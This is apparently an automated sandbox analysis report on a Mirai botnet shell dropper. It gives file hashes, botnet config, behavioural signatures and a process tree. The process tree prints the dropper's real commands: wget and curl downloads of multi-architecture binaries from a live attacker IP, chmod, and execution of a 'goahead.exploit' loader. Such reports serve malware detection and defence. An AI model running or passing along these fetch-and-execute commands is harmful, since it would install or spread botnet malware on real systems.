Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    17-10-2024 07:09

General

  • Target

    MO5UK_na.sh

  • Size

    4KB

  • MD5

    ab9ca96b70ab2766af19b4f66ca51983

  • SHA1

    408dd59c1315ef7a8e4f24a1ba88f37e4a81afb4

  • SHA256

    92db80ff0a69312f362597f8b92ce9e6259384338e67d246f87549dbbae8597e

  • SHA512

    de536cc21e3801d8eadd752a01023966d0508b0511b212f5c3d98636c764b27cb15c8fab6141104f1613b997e7d6d4ee6b230f1ea4a1e534c044082304c0d54a

  • SSDEEP

    96:vNVj8Nw4fNx/gNN7UNdMdEpFlNn9iNUsTN2mRNRfQN3tqNuehNyS9NGWpNPll:oO4FK

Malware Config

Extracted

Family

mirai

Botnet

UNSTABLE

Extracted

Family

mirai

Botnet

UNSTABLE

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Contacts a large (205346) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 9 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 9 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Writes file to system bin folder 2 IoCs
  • UPX packed file 5 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Changes its process name 1 IoCs
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 20 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/MO5UK_na.sh
    /tmp/MO5UK_na.sh
    1⤵
    • Writes file to tmp directory
    PID:1496
    • /usr/bin/wget
      wget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.x86
      2⤵
      • Writes file to tmp directory
      PID:1497
    • /usr/bin/curl
      curl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.x86
      2⤵
      • Writes file to tmp directory
      PID:1502
    • /bin/cat
      cat db0fa4b8db0333367e9bda3ab68b8042.x86
      2⤵
        PID:1503
      • /bin/chmod
        chmod +x config-err-JIrr5e db0fa4b8db0333367e9bda3ab68b8042.x86 load.sh MO5UK_na.sh netplan_07qkaxg7 snap-private-tmp ssh-9cqUTM8qhPNz systemd-private-d8385872d22e473f846fe922b20da72a-bolt.service-KHGDmC systemd-private-d8385872d22e473f846fe922b20da72a-colord.service-muLAdK systemd-private-d8385872d22e473f846fe922b20da72a-ModemManager.service-2cpANZ systemd-private-d8385872d22e473f846fe922b20da72a-systemd-resolved.service-w1Zlvd systemd-private-d8385872d22e473f846fe922b20da72a-systemd-timedated.service-8Vu8lh
        2⤵
        • File and Directory Permissions Modification
        PID:1504
      • /tmp/load.sh
        ./load.sh goahead.exploit
        2⤵
        • Executes dropped EXE
        • Modifies Watchdog functionality
        • Writes file to system bin folder
        • Changes its process name
        • Reads runtime system information
        PID:1505
      • /usr/bin/wget
        wget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1507
      • /usr/bin/curl
        curl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1514
      • /bin/cat
        cat db0fa4b8db0333367e9bda3ab68b8042.mips
        2⤵
        • System Network Configuration Discovery
        PID:1515
      • /bin/chmod
        chmod +x config-err-JIrr5e db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.x86 load.sh MO5UK_na.sh netplan_07qkaxg7 snap-private-tmp ssh-9cqUTM8qhPNz systemd-private-d8385872d22e473f846fe922b20da72a-bolt.service-KHGDmC systemd-private-d8385872d22e473f846fe922b20da72a-colord.service-muLAdK systemd-private-d8385872d22e473f846fe922b20da72a-ModemManager.service-2cpANZ systemd-private-d8385872d22e473f846fe922b20da72a-systemd-resolved.service-w1Zlvd systemd-private-d8385872d22e473f846fe922b20da72a-systemd-timedated.service-8Vu8lh
        2⤵
        • File and Directory Permissions Modification
        PID:1516
      • /tmp/load.sh
        ./load.sh goahead.exploit
        2⤵
        • Executes dropped EXE
        PID:1517
      • /usr/bin/wget
        wget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mpsl
        2⤵
        • Writes file to tmp directory
        PID:1519
      • /usr/bin/curl
        curl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mpsl
        2⤵
        • Writes file to tmp directory
        PID:1520
      • /bin/cat
        cat db0fa4b8db0333367e9bda3ab68b8042.mpsl
        2⤵
          PID:1521
        • /bin/chmod
          chmod +x config-err-JIrr5e db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.x86 load.sh MO5UK_na.sh netplan_07qkaxg7 snap-private-tmp ssh-9cqUTM8qhPNz systemd-private-d8385872d22e473f846fe922b20da72a-bolt.service-KHGDmC systemd-private-d8385872d22e473f846fe922b20da72a-colord.service-muLAdK systemd-private-d8385872d22e473f846fe922b20da72a-ModemManager.service-2cpANZ systemd-private-d8385872d22e473f846fe922b20da72a-systemd-resolved.service-w1Zlvd systemd-private-d8385872d22e473f846fe922b20da72a-systemd-timedated.service-8Vu8lh
          2⤵
          • File and Directory Permissions Modification
          PID:1522
        • /tmp/load.sh
          ./load.sh goahead.exploit
          2⤵
          • Executes dropped EXE
          PID:1523
        • /usr/bin/wget
          wget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm
          2⤵
          • Writes file to tmp directory
          PID:1525
        • /usr/bin/curl
          curl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm
          2⤵
          • Writes file to tmp directory
          PID:1526
        • /bin/cat
          cat db0fa4b8db0333367e9bda3ab68b8042.arm
          2⤵
            PID:1533
          • /bin/chmod
            chmod +x config-err-JIrr5e db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.x86 load.sh MO5UK_na.sh netplan_07qkaxg7 snap-private-tmp ssh-9cqUTM8qhPNz systemd-private-d8385872d22e473f846fe922b20da72a-bolt.service-ZP6BtQ systemd-private-d8385872d22e473f846fe922b20da72a-colord.service-muLAdK systemd-private-d8385872d22e473f846fe922b20da72a-ModemManager.service-2cpANZ systemd-private-d8385872d22e473f846fe922b20da72a-systemd-resolved.service-w1Zlvd systemd-private-d8385872d22e473f846fe922b20da72a-systemd-timedated.service-8Vu8lh
            2⤵
            • File and Directory Permissions Modification
            PID:1534
          • /tmp/load.sh
            ./load.sh goahead.exploit
            2⤵
            • Executes dropped EXE
            PID:1535
          • /usr/bin/wget
            wget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm5
            2⤵
            • Writes file to tmp directory
            PID:1537
          • /usr/bin/curl
            curl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm5
            2⤵
            • Writes file to tmp directory
            PID:1538
          • /bin/cat
            cat db0fa4b8db0333367e9bda3ab68b8042.arm5
            2⤵
              PID:1539
            • /bin/chmod
              chmod +x config-err-JIrr5e db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.x86 load.sh MO5UK_na.sh netplan_07qkaxg7 snap-private-tmp ssh-9cqUTM8qhPNz systemd-private-d8385872d22e473f846fe922b20da72a-bolt.service-ZP6BtQ systemd-private-d8385872d22e473f846fe922b20da72a-colord.service-muLAdK systemd-private-d8385872d22e473f846fe922b20da72a-ModemManager.service-2cpANZ systemd-private-d8385872d22e473f846fe922b20da72a-systemd-resolved.service-w1Zlvd systemd-private-d8385872d22e473f846fe922b20da72a-systemd-timedated.service-8Vu8lh
              2⤵
              • File and Directory Permissions Modification
              PID:1540
            • /tmp/load.sh
              ./load.sh goahead.exploit
              2⤵
              • Executes dropped EXE
              PID:1541
            • /usr/bin/wget
              wget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm6
              2⤵
              • Writes file to tmp directory
              PID:1543
            • /usr/bin/curl
              curl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm6
              2⤵
              • Writes file to tmp directory
              PID:1544
            • /bin/cat
              cat db0fa4b8db0333367e9bda3ab68b8042.arm6
              2⤵
                PID:1545
              • /bin/chmod
                chmod +x config-err-JIrr5e db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.arm6 db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.x86 load.sh MO5UK_na.sh netplan_07qkaxg7 snap-private-tmp ssh-9cqUTM8qhPNz systemd-private-d8385872d22e473f846fe922b20da72a-bolt.service-ZP6BtQ systemd-private-d8385872d22e473f846fe922b20da72a-colord.service-muLAdK systemd-private-d8385872d22e473f846fe922b20da72a-ModemManager.service-2cpANZ systemd-private-d8385872d22e473f846fe922b20da72a-systemd-resolved.service-w1Zlvd systemd-private-d8385872d22e473f846fe922b20da72a-systemd-timedated.service-8Vu8lh
                2⤵
                • File and Directory Permissions Modification
                PID:1546
              • /tmp/load.sh
                ./load.sh goahead.exploit
                2⤵
                • Executes dropped EXE
                PID:1547
              • /usr/bin/wget
                wget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm7
                2⤵
                • Writes file to tmp directory
                PID:1549
              • /usr/bin/curl
                curl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm7
                2⤵
                • Writes file to tmp directory
                PID:1550
              • /bin/cat
                cat db0fa4b8db0333367e9bda3ab68b8042.arm7
                2⤵
                  PID:1551
                • /bin/chmod
                  chmod +x config-err-JIrr5e db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.arm6 db0fa4b8db0333367e9bda3ab68b8042.arm7 db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.x86 load.sh MO5UK_na.sh netplan_07qkaxg7 snap-private-tmp ssh-9cqUTM8qhPNz systemd-private-d8385872d22e473f846fe922b20da72a-bolt.service-ZP6BtQ systemd-private-d8385872d22e473f846fe922b20da72a-colord.service-muLAdK systemd-private-d8385872d22e473f846fe922b20da72a-ModemManager.service-2cpANZ systemd-private-d8385872d22e473f846fe922b20da72a-systemd-resolved.service-w1Zlvd systemd-private-d8385872d22e473f846fe922b20da72a-systemd-timedated.service-8Vu8lh
                  2⤵
                  • File and Directory Permissions Modification
                  PID:1552
                • /tmp/load.sh
                  ./load.sh goahead.exploit
                  2⤵
                  • Executes dropped EXE
                  PID:1553
                • /usr/bin/wget
                  wget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.ppc
                  2⤵
                  • Writes file to tmp directory
                  PID:1555
                • /usr/bin/curl
                  curl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.ppc
                  2⤵
                  • Writes file to tmp directory
                  PID:1556
                • /bin/cat
                  cat db0fa4b8db0333367e9bda3ab68b8042.ppc
                  2⤵
                    PID:1557
                  • /bin/chmod
                    chmod +x config-err-JIrr5e db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.arm6 db0fa4b8db0333367e9bda3ab68b8042.arm7 db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.ppc db0fa4b8db0333367e9bda3ab68b8042.x86 load.sh MO5UK_na.sh netplan_07qkaxg7 snap-private-tmp ssh-9cqUTM8qhPNz systemd-private-d8385872d22e473f846fe922b20da72a-bolt.service-ZP6BtQ systemd-private-d8385872d22e473f846fe922b20da72a-colord.service-muLAdK systemd-private-d8385872d22e473f846fe922b20da72a-ModemManager.service-2cpANZ systemd-private-d8385872d22e473f846fe922b20da72a-systemd-resolved.service-w1Zlvd systemd-private-d8385872d22e473f846fe922b20da72a-systemd-timedated.service-8Vu8lh
                    2⤵
                    • File and Directory Permissions Modification
                    PID:1558
                  • /tmp/load.sh
                    ./load.sh goahead.exploit
                    2⤵
                    • Executes dropped EXE
                    PID:1559
                  • /usr/bin/wget
                    wget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.m68k
                    2⤵
                    • Writes file to tmp directory
                    PID:1561
                  • /usr/bin/curl
                    curl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.m68k
                    2⤵
                    • Writes file to tmp directory
                    PID:1562
                  • /bin/cat
                    cat db0fa4b8db0333367e9bda3ab68b8042.m68k
                    2⤵
                      PID:1569
                    • /bin/chmod
                      chmod +x config-err-JIrr5e db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.arm6 db0fa4b8db0333367e9bda3ab68b8042.arm7 db0fa4b8db0333367e9bda3ab68b8042.m68k db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.ppc db0fa4b8db0333367e9bda3ab68b8042.x86 load.sh MO5UK_na.sh netplan_07qkaxg7 snap-private-tmp ssh-9cqUTM8qhPNz systemd-private-d8385872d22e473f846fe922b20da72a-bolt.service-oZfQdA systemd-private-d8385872d22e473f846fe922b20da72a-colord.service-muLAdK systemd-private-d8385872d22e473f846fe922b20da72a-ModemManager.service-2cpANZ systemd-private-d8385872d22e473f846fe922b20da72a-systemd-resolved.service-w1Zlvd systemd-private-d8385872d22e473f846fe922b20da72a-systemd-timedated.service-8Vu8lh
                      2⤵
                      • File and Directory Permissions Modification
                      PID:1570
                    • /tmp/load.sh
                      ./load.sh goahead.exploit
                      2⤵
                      • Executes dropped EXE
                      PID:1571
                    • /usr/bin/wget
                      wget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.spc
                      2⤵
                      • Writes file to tmp directory
                      PID:1573

                  Network

                  MITRE ATT&CK Enterprise v15

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  • /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86

                    Filesize

                    33KB

                    MD5

                    6d1b6e91b1e2037fbf62ca7ddcf04932

                    SHA1

                    d0769095ec2e678074eb206b3537022129c1a776

                    SHA256

                    7f307860b88d639313ebd4195f1ef6a8d668d1941c6cbf6dc968961b1fe42782

                    SHA512

                    7397ef3b4f7d34b0637de721f38ac833ad6d526e9b7cdbc08fdb4b261fa675001a8079ff4b9378fa219090a945126832cb1ab3db86b35da0090b20051d31bb38

                  • /tmp/load.sh

                    Filesize

                    35KB

                    MD5

                    fd5d7deebbb62aee931a1701a1042450

                    SHA1

                    4adc94ce9de13647815a16d6514b73e109c80785

                    SHA256

                    7a36bd7a9d19b6d48807264712141dd0543ffebd9db923a76799ffd687f352c9

                    SHA512

                    cb7beeb8d88ad48ac447b69b215738cdf1d706cb88c4945d0a0837c07dfe41a74107f9c4d7fccc5c7e5719ee9a912452ba3c53c360252bd46978f5d27c1b6df4

                  • /tmp/load.sh

                    Filesize

                    37KB

                    MD5

                    144cc0c6dfb6f6e395065b02825a9ad1

                    SHA1

                    dfe5d7d8bef4511b42be1ae0235f7469d97bf789

                    SHA256

                    117cd63b79b8c0d3753ac6907206872d6527c2d6a641776c1021302d5dcec2b2

                    SHA512

                    9e5ca9ee3ebef09688d74de6bb4af9d6c1003173ee5846cd2370d4774e9bc92fef317113b19529cd2a5b1d18a38a626ebf6ed2da05e6c7b66e0d1b69d8ddc5d5

                  • /tmp/load.sh

                    Filesize

                    34KB

                    MD5

                    b478298246ee6d313f4f576d0f7ec4cd

                    SHA1

                    94d25c6d4cfb1e218120d378d14c8d5ab868363b

                    SHA256

                    ed04f35cc6c4bef7ea8bf398436da916ebfab2490c10bd1d59df70f648e80df5

                    SHA512

                    83f67116e5c7074dcfa0e98d94697a0db2bdcaed15060aa31ed6a20eb543fd1d10d8fe26856178f78cc7402531de358e4b6c1d294086b18ab891d23954e78307

                  • /tmp/load.sh

                    Filesize

                    30KB

                    MD5

                    d8893525da7152c787dcc7d6309a61ba

                    SHA1

                    87fa7fb894caaa77a9caa7bca6a5fd3fbe09f7cd

                    SHA256

                    2a1b03ac26cc72118fb419de4bee3352adf536ee4d5472e8cee14150ca53b8ef

                    SHA512

                    8fcf808c627c080350adcf005df853a6c1f3fb3e3b2b5d2745a972dcc4064ff731f7cebbbd7d4e8c9ade91727f587356f844b783fa6c90a2191b80a38ca1f6e6

                  • /tmp/load.sh

                    Filesize

                    81KB

                    MD5

                    be7b5d0f87efeb752cefc89442d7161f

                    SHA1

                    336d812fd007007f3d613480a782f851881eaf87

                    SHA256

                    a2d47438ad3da55b76213c95deebe0a1953f92480a215ec562dfadd47d4c7833

                    SHA512

                    b0bacfb41b023e7d71cdf2464b39abec67cb96182018d43d0cd3197f152e3796e8af28c99a423a4585aa6992302737c56bd4dddd00ceefdb5ff4cf3c54008c17